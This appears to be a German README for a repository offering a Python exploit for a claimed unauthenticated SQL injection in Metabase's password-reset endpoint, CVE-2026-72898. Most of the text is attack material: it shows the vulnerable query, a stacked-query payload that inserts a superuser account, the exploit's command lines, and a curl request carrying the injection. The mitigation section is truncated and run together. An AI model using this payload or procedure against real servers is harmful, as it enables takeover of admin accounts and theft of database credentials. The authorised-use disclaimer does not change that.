34zy/cve-2026-72898Python-Exploit für CVE-2026-72898, eine unauthentifizierte SQL-Injection im Passwort-Reset-Endpunkt von Metabase, die Admin-Konten erstellt und Datenbank-Zugangsdaten extrahiert.
Nicht authentifizierte SQL-Injection im Metabase-Endpunkt /api/session/reset_password. Erstellt Admin-Konten und extrahiert Datenbank-Anmeldedaten.
Betroffen: v58.0 - v63.3 | Gepatcht: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+
pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check
String-Verkettung in SQL-Abfrage:
# Vulnerable code
query = f"SELECT * FROM core_user WHERE email='{email}'"
Angriffs-Payload:
'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --
Nur prüfen (keine Modifikation):
python3 CVE-2026-72898.py http://localhost:5000 --check
Vollständige Ausnutzung:
python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!
Manuelles Testen:
# Verify endpoint
curl http://localhost:5000/api/health
# Test SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
-H "Content-Type: application/json" \
-d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'
SOFORT:
/api/session/reset_password via WAFSPÄTER:
Nur autorisierte Nutzung. Unbefugter Zugriff ist illegal.